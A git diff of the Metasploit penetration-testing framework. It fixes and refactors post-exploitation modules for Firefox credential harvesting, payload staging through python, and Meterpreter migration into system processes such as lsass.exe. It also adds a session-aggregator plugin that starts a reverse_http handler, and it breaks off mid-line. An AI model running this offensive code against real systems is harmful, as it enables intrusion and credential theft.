cmd_exec("echo $PATH").split(":") diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 2a524f6ee4..54bfb34205 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Post omnija = read_file(@paths['ff'] + org_file) if omnija.nil? or omnija.empty? or omnija =~ /No such file/i print_error("Could not download: #{@paths['ff'] + org_file}") - print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter" + print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter" return end @@ -249,8 +249,8 @@ class MetasploitModule < Msf::Post if got_root vprint_status("Detected ROOT privileges. Searching every account on the target system.") - userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n") - userdirs << "/root\n" + userdirs = "/root\n" + userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null") else vprint_status("Checking #{id}'s Firefox account") userdirs = "#{home + id}\n" @@ -260,16 +260,16 @@ class MetasploitModule < Msf::Post dir.chomp! next if dir == "." or dir == ".." or dir =~ /No such file/i - @platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/") + @platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox") print_status("Checking for Firefox profile in: #{basepath}") - checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n") + checkpath = cmd_exec("find " + basepath.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type d 2>/dev/null") checkpath.each_line do |ffpath| ffpath.chomp! - if ffpath =~ /\.default/ - vprint_good("Found profile: #{basepath + ffpath}") - paths << "#{basepath + ffpath}" + if ffpath =~ /\.default$/ + vprint_good("Found profile: #{ffpath}") + paths << "#{ffpath}" end end end @@ -332,7 +332,7 @@ class MetasploitModule < Msf::Post profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty? - session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split()) + session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("find "+ path.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type f 2>/dev/null").gsub(/.*\//, "").split("\n")) files.each do |file| file.chomp! @@ -551,12 +551,18 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); when :unix # Assuming userdir /home/(x) = user print_status("Enumerating users") - users = cmd_exec("ls /home 2>/dev/null") - if users.nil? or users.empty? + homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "") + if homedirs.nil? or homedirs.empty? print_error("No normal user found") return false end - user = users.split[0] + user = nil + # Skip home directories which contain a space, as those are likely not usernames... + homedirs.each_line do |homedir| + user = homedir.chomp + break unless user.index(" ") + end + # Since we can't access the display environment variable we have to assume the default value args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") args << "\"" @@ -719,6 +725,10 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); session.sys.config.getuid =~ /SYSTEM/ ? true : false else # unix, bsd, linux, osx id_output = cmd_exec("id").chomp + if id_output.blank? + # try an absolute path + id_output = cmd_exec("/usr/bin/id").chomp + end id_output.include?("uid=0(") ? true : false end end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 851011b66c..238238efeb 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Post end when 'python' vprint_status("Transfer method: Python") - cmd_exec("python -c \"#{payload_data}\"") + cmd_exec("echo \"#{payload_data}\" | python") else vprint_status("Transfer method: Bourne shell [fallback]") exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 671ee5670f..27789acdb8 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Post if datastore['SPAWN'] print_status("Spawning notepad.exe process to migrate to") target_pid = create_temp_proc - elsif datastore['PID'] != 0 + elsif datastore['PID'] target_pid = datastore['PID'] elsif datastore['NAME'] target_pid = session.sys.process[datastore['NAME']] diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 8721fcfad3..bc372fc2ae 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -30,8 +30,8 @@ class MetasploitModule < Msf::Post [ OptString.new('PAYLOAD', [false, 'Payload to inject in to process memory', "windows/meterpreter/reverse_tcp"]), OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]), - OptString.new('IPLIST', [true, 'List of semicolom separated IP list.', Rex::Socket.source_address("1.2.3.4")]), - OptString.new('PIDLIST', [false, 'List of semicolom separated PID list.', '']), + OptString.new('IPLIST', [true, 'List of semicolon separated IP list.', Rex::Socket.source_address("1.2.3.4")]), + OptString.new('PIDLIST', [false, 'List of semicolon separated PID list.', '']), OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]), OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) ], self.class) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 7dc277e31d..10629a5753 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv - DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ] + DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ] DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ] def initialize(info={}) @@ -19,15 +19,15 @@ class MetasploitModule < Msf::Post 'Description' => %q{ This module will migrate a Meterpreter session based on session privileges. It will do everything it can to migrate, including spawing a new User level process. For sessions with Admin rights: It will try to migrate into a System level process in the following - order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe. - If all these fail, it will fall back to User level migration. For sessions with User level rights: + order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe. + If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights: It will try to migrate to a user level process, if that fails it will attempt to spawn the process then migrate to it. It will attempt the User level processes in the following order: NAME (if specified), explorer.exe, then notepad.exe.}, 'License' => MSF_LICENSE, 'Author' => [ - 'Josh Hale ', + 'Josh Hale "sn0wfa11" ', 'theLightCosine' ], 'Platform' => ['win' ], @@ -36,18 +36,23 @@ class MetasploitModule < Msf::Post register_options( [ - OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), - OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), - OptBool.new( 'KILL', [false, 'Kill original session process.', false]) + OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), + OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), + OptBool.new( 'KILL', [true, 'Kill original session process.', false]), + OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false]) ], self.class) end def run # Get current process information @original_pid = client.sys.process.open.pid - @original_name = client.sys.process.open.name + @original_name = client.sys.process.open.name.downcase print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}") unless migrate_admin + if is_admin? && !datastore['NOFAIL'] + print_status("NOFAIL set to false, exiting module.") + return + end migrate_user end end @@ -61,7 +66,7 @@ class MetasploitModule < Msf::Post def get_pid(proc_name) processes = client.sys.process.get_processes processes.each do |proc| - if proc['name'] == proc_name && proc['user'] != "" + if proc['name'].downcase == proc_name && proc['user'] != "" return proc['pid'] end end @@ -105,9 +110,13 @@ class MetasploitModule < Msf::Post client.core.migrate(target_pid) print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true - rescue ::Rex::Post::Meterpreter::RequestError => error + rescue ::Rex::Post::Meterpreter::RequestError => req_error print_error("Could not migrate to #{proc_name}.") - print_error(error.to_s) + print_error(req_error.to_s) + return false + rescue ::Rex::RuntimeError => run_error + print_error("Could not migrate to #{proc_name}.") + print_error(run_error.to_s) return false end end @@ -118,12 +127,17 @@ class MetasploitModule < Msf::Post # @return [FalseClass] if it failed to migrate def migrate_admin if is_admin? - # Populate target array + # Populate target array and Downcase all Targets admin_targets = DEFAULT_ADMIN_TARGETS.dup admin_targets.unshift(datastore['ANAME']) if datastore['ANAME'] + admin_targets.map!(&:downcase) if is_system? print_status("Session is already Admin and System.") + if admin_targets.include? @original_name + print_good("Session is already in target process: #{@original_name}.") + return true + end else print_status("Session is Admin but not System.") end @@ -148,9 +162,11 @@ class MetasploitModule < Msf::Post # @return [TrueClass] if it successfully migrated # @return [FalseClass] if it failed to migrate def migrate_user - # Populate Target Array + # Populate Target Array and Downcase all Targets user_targets = DEFAULT_USER_TARGETS.dup user_targets.unshift(datastore['NAME']) if datastore['NAME'] + user_targets.map!(&:downcase) + print_status("Will attempt to migrate to a User level process.") # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. diff --git a/msfconsole b/msfconsole index a96c91d768..b9ba9f0b52 100755 --- a/msfconsole +++ b/msfconsole @@ -44,5 +44,5 @@ end # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') require 'metasploit/framework/command/console' - +require 'msf/core/payload_generator' Metasploit::Framework::Command::Console.start diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb new file mode 100644 index 0000000000..f3b1827e18 --- /dev/null +++ b/plugins/aggregator.rb @@ -0,0 +1,458 @@ +# +# $Id$ +# +# This plugin provides management and interaction with an external session aggregator. +# +# $Revision$ +# +require "metasploit/aggregator" + +module Msf + Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" # location of the aggregator.yml containing saved aggregator creds + + class Plugin::Aggregator < Msf::Plugin + class AggregatorCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + @response_queue = [] + + def name + "Aggregator" + end + + def commands + { + 'aggregator_connect' => "Connect to a running Aggregator instance ( host[:port] )", + 'aggregator_save' => "Save connection details to an Aggregator instance", + 'aggregator_disconnect' => "Disconnect from an active Aggregator instance", + 'aggregator_addresses' => "List all remote ip addresses available for ingress", + 'aggregator_cables' => "List all remote listeners for sessions", + 'aggregator_cable_add' => "Setup remote https listener for sessions", + 'aggregator_cable_remove' => "Stop remote listener for sessions", + 'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener", + 'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance", + 'aggregator_session_forward' => "forward a session to a specified listener", + 'aggregator_session_park' => "Park an existing session on the Aggregator instance" + } + end + + def aggregator_verify + if !@aggregator + print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'") + return false + end + + true + end + + def usage(*lines) + print_status("Usage: ") + lines.each do |line| + print_status(" #{line}") + end + end + + def usage_save + usage("aggregator_save") + end + + def usage_connect + usage("aggregator_connect host[:port]", + " -OR- ", + "aggregator_connect host port") + end + + def usage_cable_add + usage('aggregator_cable_add host:port [certificate]', + ' -OR- ', + 'aggregator_cable_add host port [certificate]') + end + + def usage_cable_remove + usage('aggregator_cable_remove host:port', + ' -OR- ', + 'aggregator_cable_remove host port') + end + + def usage_session_forward + usage("aggregator_session_forward remote_id") + end + + def usage_default_forward + usage("aggregator_session_forward") + end + + def cmd_aggregator_save(*args) + # if we are logged in, save session details to aggregator.yaml + if args.length == 0 || args[0] == "-h" + usage_save + return + end + + if args[0] + usage_save + return + end + + group = "default" + + if (@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0) + config = { "#{group}" => { 'server' => @host, 'port' => @port } } + ::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) } + print_good("#{Aggregator_yaml} created.") + else + print_error("Missing server/port - reconnect and then try again.") + return + end + end + + def cmd_aggregator_connect(*args) + if !args[0] + if ::File.readable?("#{Aggregator_yaml}") + lconfig = YAML.load_file("#{Aggregator_yaml}") + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + aggregator_login + return + end + end + + if args.length == 0 || args[0].empty? || args[0] == "-h" + usage_connect + return + end + + @host = @port = @sslv = nil + + case args.length + when 1 + @host, @port = args[0].split(':', 2) + @port ||= '2447' + when 2 + @host, @port = args + else + usage_connect + return + end + aggregator_login + end + + def cmd_aggregator_sessions(*_args) + return unless aggregator_verify + + sessions_list = @aggregator.sessions + return if sessions_list.nil? + + # get details for each session and print in format of sessions -v + print_status("Sessions found:") + sessions_list.each do |session| + session_id, target = session + details = @aggregator.session_details(session_id) + local_id = nil + framework.sessions.each_pair do |key, value| + next unless value.conn_id == session_id + local_id = key + end + # filter session that do not have details as forwarding options (this may change later) + next unless details && details['ID'] + + print_status "\t Remote ID: #{details['ID']}" + print_status "\t Type: meterpreter #{guess_target_platform(details['OS'])}" + print_status "\t Info: #{details['USER']} @ #{details['HOSTNAME']}" + print_status "\t Tunnel: #{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}" + print_status "\t Via: exploit/multi/handler" + print_status "\t UUID: #{details['UUID']}" + print_status "\t MachineID: #{details['MachineID']}" + print_status "\t CheckIn: #{details['LAST_SEEN'].to_i}s ago" unless details['LAST_SEEN'].nil? + print_status "\tRegistered: Not Yet Implemented" + print_status "\t Forward: #{target}" + print_status "\tSession ID: #{local_id}" unless local_id.nil? + print_status "" + end + end + + def cmd_aggregator_addresses(*_args) + return if !aggregator_verify + + address_list = @aggregator.available_addresses + return if address_list.nil? + + print_status("Remote addresses found:") + address_list.each do |addr| + print_status(" #{addr}") + end + end + + def cmd_aggregator_cable_add(*args) + host, port, certificate = nil + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args[0].split(':', 2) + if port.nil? + port = args[1] + else + certificate = args[1] + end + when 3 + host, port, certificate = args + else + usage_cable_add + return + end + + if !aggregator_verify || args.length == 0 || args[0] == '-h' || \ + port.nil? || port.to_i <= 0 + usage_cable_add + return + end + + certificate = File.new(certificate).read if certificate && File.exists?(certificate) + + @aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate) + end + + def cmd_aggregator_cables(*_args) + return if !aggregator_verify + res = @aggregator.cables + print_status("Remote Cables:") + res.each do |k| + print_status(" #{k}") + end + + end + + def cmd_aggregator_cable_remove(*args) + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args + end + if !aggregator_verify || args.length == 0 || args[0] == '-h' || host.nil? + usage_cable_remove + return + end + @aggregator.remove_cable(host, port) + end + + def cmd_aggregator_session_park(*args) + return if !aggregator_verify + + case args.length + when 1 + session_id = args[0] + s = framework.sessions.get(session_id) + unless s.nil? + if @aggregator.sessions.keys.include? s.conn_id + @aggregator.release_session(s.conn_id) + framework.sessions.deregister(s) + else + # TODO: determine if we can add a transport and route with the + # aggregator. For now, just report action not taken. + print_status("#{session_id} does not originate from the aggregator connection.") + end + else + print_status("#{session_id} is not a valid session.") + end + else + usage('aggregator_session_park session_id') + return + end + end + + def cmd_aggregator_default_forward(*_args) + return if !aggregator_verify + + @aggregator.register_default(@aggregator.uuid, nil) + end + + def cmd_aggregator_session_forward(*args) + return if !aggregator_verify + + remote_id = nil + case args.length + when 1 + remote_id = args[0] + else + usage_session_forward + return + end + # find session with ID matching request + @aggregator.sessions.each do |session| + session_uri, _target = session + details = @aggregator.session_details(session_uri) + next unless details['ID'] == remote_id + return @aggregator.obtain_session(session_uri, @aggregator.uuid) + end + print_error("#{remote_id} was not found.") + end + + def cmd_aggregator_disconnect(*_args) + if @aggregator && @aggregator.available? + # check if this connection is the default forward + @aggregator.register_default(nil, nil) if @aggregator.default == @aggregator.uuid + + # now check for any specifically forwarded sessions + local_sessions_by_id = {} + framework.sessions.each_pair do |_id, s| + local_sessions_by_id[s.conn_id] = s + end + + sessions = @aggregator.sessions + unless sessions.nil? + sessions.each_pair do |session, console| + next unless local_sessions_by_id.keys.include?(session) + if console == @aggregator.uuid + # park each session locally addressed + cmd_aggregator_session_park(framework.sessions.key(local_sessions_by_id[session])) + else + # simple disconnect session that were from the default forward + framework.sessions.deregister(local_sessions_by_id[session]) + end + end + end + end + @aggregator.stop if @aggregator + if @payload_job_ids + @payload_job_ids.each do |id| + framework.jobs.stop_job(id) + end + @payload_job_ids = nil + end + @aggregator = nil + end + + def aggregator_login + + if !((@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0)) + usage_connect + return + end + + if @host != "localhost" and @host != "127.0.0.1" + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator") + print_error(" traffic, if you are running this on an untrusted network.") + return + end + + # Wrap this so a duplicate session does not prevent access + begin + cmd_aggregator_disconnect + rescue ::Interrupt => i + raise i + rescue ::Exception + end + + begin + print_status("Connecting to Aggregator instance at #{@host}:#{@port}...") + @aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port) + end + + aggregator_compatibility_check + + unless @payload_job_ids + @payload_job_ids = [] + @my_io = local_handler + end + + @aggregator.register_response_channel(@my_io) + @aggregator + end + + def aggregator_compatibility_check + false if @aggregator.nil? + unless @aggregator.available? + print_error("Connection to aggregator @ #{@host}:#{@port} is unavailable.") + cmd_aggregator_disconnect + end + end + + def local_handler + # get a random ephemeral port + server = TCPServer.new('127.0.0.1', 0) + port = server.addr[1] + server.close + + multi_handler = framework.exploits.create('multi/handler') + + multi_handler.datastore['LHOST'] = "127.0.0.1" + # multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https" + multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http" + multi_handler.datastore['LPORT'] = "#{port}" + + # %w(DebugOptions PrependMigrate PrependMigrateProc + # InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert + # StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName + # IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait + # SessionExpirationTimeout SessionCommunicationTimeout).each do |opt| + # multi_handler.datastore[opt] = datastore[opt] if datastore[opt] + # end + + multi_handler.datastore['ExitOnSession'] = false + multi_handler.datastore['EXITFUNC'] = 'thread' + + multi_handler.exploit_simple( + 'LocalInput' => nil, + 'LocalOutput' => nil, + 'Payload' => multi_handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + @payload_job_ids << multi_handler.job_id + # requester = Metasploit::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester = Metasploit::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester + end + + # borrowed from Msf::Sessions::Meterpreter for now + def guess_target_platform(os) + case os + when /windows/i + Msf::Module::Platform::Windows.realname.downcase + when /darwin/i + Msf::Module::Platform::OSX.realname.downcase + when /mac os ?x/i + # this happens with java on OSX (for real!) + Msf::Module::Platform::OSX.realname.downcase + when /freebsd/i + Msf::Module::Platform::FreeBSD.realname.downcase + when /openbsd/i, /netbsd/i + Msf::Module::Platform::BSD.realname.downcase + else + Msf::Module::Platform::Linux.realname.downcase + end + end + + private :guess_target_platform + private :aggregator_login + private :aggregator_compatibility_check + private :aggregator_verify + private :local_handler + end + + # + # Plugin initialization + # + + def initialize(framework, opts) + super + + add_console_dispatcher(AggregatorCommandDispatcher) + print_status("Aggregator interaction has been enabled") + end + + def cleanup + remove_console_dispatcher('Aggregator') + end + + def name + "aggregator" + end + + def desc + "Interacts with the external Session Aggregator" + end + end +end diff --git a/plugins/msfd.rb b/plugins/msfd.rb index 7d964d10ff..653ec6f672 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # $Id$ # diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb index 30c1bee857..cc49d292b7 100644 --- a/plugins/msgrpc.rb +++ b/plugins/msgrpc.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # This plugin provides an msf daemon interface that spawns a listener on a # defined port (default 55552) and gives each connecting client its own diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 885ede095c..748e28fe1a 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -968,13 +968,14 @@ module Msf end if valid_policy(uuid) print_status("Creating scan from policy number #{uuid}, called #{scan_name} - #{description} and scanning #{targets}") - et=Hash.new - et['enabled']=false - et['launch']='ONETIME' - et['name']=scan_name - et['text_targets']=targets - et['description']=description - et['launch_now']=false + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => scan_name, + 'text_targets' => targets, + 'description' => description, + 'launch_now' => false + } scan = @n.scan_create(uuid, et) tbl = Rex::Text::Table.new( 'Columns' => [ @@ -1077,13 +1078,14 @@ module Msf end targets.chop! print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in all the workspaces") - et=Hash.new - et['enabled']=false - et['launch']='ONETIME' - et['name']=name - et['text_targets']=targets - et['description']=desc - et['launch_now']=true + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => name, + 'text_targets' => targets, + 'description' => desc, + 'launch_now' => true + } scan = @n.scan_create(policy_id, et) if !scan["error"] scan = scan["scan"] @@ -1136,7 +1138,15 @@ module Msf end targets.chop! print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in #{framework.db.workspace.name}") - scan = @n.scan_create(policy_id, name, desc, targets) + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => name, + 'text_targets' => targets, + 'description' => desc, + 'launch_now' => false + } + scan = @n.scan_create(policy_id, et) if !scan["error"] scan = scan["scan"] print_status("Scan ID #{scan['id']} successfully created") diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 00c1173bc1..20b710b630 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # $Id$ # @@ -6,8 +5,7 @@ # # $Revision$ # - -require 'rapid7/nexpose' +require 'nexpose' module Msf Nexpose_yaml = "#{Msf::Config.get_config_root}/nexpose.yaml" #location of the nexpose.yml containing saved nexpose creds @@ -82,7 +80,7 @@ class Plugin::Nexpose < Msf::Plugin group = "default" if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port, 'trust_cert' => @trust_cert}} ::File.open("#{Nexpose_yaml}", "wb") { |f| f.puts YAML.dump(config) } print_good("#{Nexpose_yaml} created.") else @@ -101,21 +99,21 @@ class Plugin::Nexpose < Msf::Plugin @pass = lconfig['default']['password'] @host = lconfig['default']['server'] @port = lconfig['default']['port'] - @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + @trust_cert = lconfig['default']['trust_cert'] + unless @trust_cert + @sslv = "ok" # TODO: Not super-thrilled about bypassing the SSL warning... + end nexpose_login return end end if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") + nexpose_usage return end - @user = @pass = @host = @port = @sslv = nil + @user = @pass = @host = @port = @sslv = @trust_cert = @trust_cert_file = nil case args.length when 1,2 @@ -123,31 +121,48 @@ class Plugin::Nexpose < Msf::Plugin @user,@pass = cred.split(':', 2) targ ||= '127.0.0.1:3780' @host,@port = targ.split(':', 2) - port ||= '3780' - @sslv = args[1] + @port ||= '3780' + unless args.length == 1 + @trust_cert_file = args[1] + if File.exists? @trust_cert_file + @trust_cert = File.read(@trust_cert_file) + else + @sslv = @trust_cert_file + end + end when 4,5 - @user,@pass,@host,@port,@sslv = args + @user,@pass,@host,@port,@trust_cert = args + unless args.length == 4 + @trust_cert_file = @trust_cert + if File.exists? @trust_cert_file + @trust_cert = File.read(@trust_cert_file) + else + @sslv = @trust_cert_file + end + end else - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") + nexpose_usage return end nexpose_login end + def nexpose_usage + print_status("Usage: ") + print_status(" nexpose_connect username:password@host[:port] ") + print_status(" -OR- ") + print_status(" nexpose_connect username password host port ") + end + def nexpose_login if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("Usage: ") - print_status(" nexpose_connect username:password@host[:port] ") - print_status(" -OR- ") - print_status(" nexpose_connect username password host port ") + nexpose_usage return end - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + if(@host != "localhost" and @host != "127.0.0.1" and (@trust_cert.nil? && @sslv != "ok")) + # consider removing this message and replacing with check on trust_store, and if trust_store is not found validate @host already has a truly trusted cert? print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") print_error(" with the ability to man-in-the-middle the Nexpose traffic to capture the Nexpose") print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") @@ -155,7 +170,7 @@ class Plugin::Nexpose < Msf::Plugin return end - # Wrap this so a duplicate session doesnt prevent a new login + # Wrap this so a duplicate session does not prevent a new login begin cmd_nexpose_disconnect rescue ::Interrupt @@ -165,7 +180,7 @@ class Plugin::Nexpose < Msf::Plugin begin print_status("Connecting to Nexpose instance at #{@host}:#{@port} with username #{@user}...") - nsc = ::Nexpose::Connection.new(@host, @user, @pass, @port) + nsc = Nexpose::Connection.new(@host, @user, @pass, @port, nil, nil, @trust_cert) nsc.login rescue ::Nexpose::APIError => e print_error("Connection failed: #{e.reason}") @@ -191,21 +206,21 @@ class Plugin::Nexpose < Msf::Plugin end scans.each do |scan| - print_status(" Scan ##{scan[:scan_id]} is running on Engine ##{scan[:engine_id]} against site ##{scan[:site_id]} since #{scan[:start_time].to_s}") + print_status(" Scan ##{scan.scan_id} is running on Engine ##{scan.engine_id} against site ##{scan.site_id} since #{scan.start_time.to_s}") end end def cmd_nexpose_sites(*args) return if not nexpose_verify - sites = @nsc.site_listing || [] + sites = @nsc.list_sites || [] case sites.length when 0 print_status("There are currently no active sites on this Nexpose instance") end sites.each do |site| - print_status(" Site ##{site[:site_id]} '#{site[:name]}' Risk Factor: #{site[:risk_factor]} Risk Score: #{site[:risk_score]}") + print_status(" Site ##{site.id} '#{site.name}' Risk Factor: #{site.risk_factor} Risk Score: #{site.risk_score}") end end @@ -218,24 +233,24 @@ class Plugin::Nexpose < Msf::Plugin return end - devices = @nsc.site_device_listing(site_id) || [] + devices = @nsc.list_site_devices(site_id) || [] case devices.length when 0 print_status("There are currently no devices within this site") end devices.each do |device| - print_status(" Host: #{device[:address]} ID: #{device[:device_id]} Risk Factor: #{device[:risk_factor]} Risk Score: #{device[:risk_score]}") + print_status(" Host: #{device.address} ID: #{device.id} Risk Factor: #{device.risk_factor} Risk Score: #{device.risk_score}") end end def cmd_nexpose_report_templates(*args) return if not nexpose_verify - res = @nsc.report_template_listing || [] + res = @nsc.list_report_templates || [] res.each do |report| - print_status(" Template: #{report[:template_id]} Name: '#{report[:name]}' Description: #{report[:description]}") + print_status(" Template: #{report.id} Name: '#{report.name}' Description: #{report.description}") end end @@ -287,17 +302,12 @@ class Plugin::Nexpose < Msf::Plugin report_formats = ["raw-xml-v2", "ns-xml"] report_format = report_formats.shift - report = Nexpose::ReportConfig.new(@nsc) - report.set_name("Metasploit Export #{msfid}") - report.set_template_id("pentest-audit") - - report.addFilter("SiteFilter", site_id) - report.set_generate_after_scan(0) - report.set_storeOnServer(1) + report = Nexpose::ReportConfig.build(@nsc, site_id, "Metasploit Export #{msfid}", "pentest-audit", report_format, true) + report.delivery = Nexpose::Delivery.new(true) begin - report.set_format(report_format) - report.saveReport() + report.format = report_format + report.save(@nsc) rescue ::Exception => e report_format = report_formats.shift if report_format @@ -307,17 +317,18 @@ class Plugin::Nexpose < Msf::Plugin end print_status("Generating the export data file...") - url = nil - while(! url) - url = @nsc.report_last(report.config_id) + last_report = nil + while(! last_report) + last_report = @nsc.last_report(report.id) select(nil, nil, nil, 1.0) end + url = last_report.uri print_status("Downloading the export data...") data = @nsc.download(url) # Delete the temporary report ID - @nsc.report_config_delete(report.config_id) + @nsc.delete_report_config(report.id) print_status("Importing Nexpose data...") process_nexpose_data(report_format, data) @@ -390,8 +401,10 @@ class Plugin::Nexpose < Msf::Plugin when "-c" if (val =~ /^([^:]+):([^:]+):(.+)/) type, user, pass = [ $1, $2, $3 ] - newcreds = Nexpose::AdminCredentials.new - newcreds.setCredentials(type, nil, nil, user, pass, nil) + msfid = Time.now.to_i + newcreds = 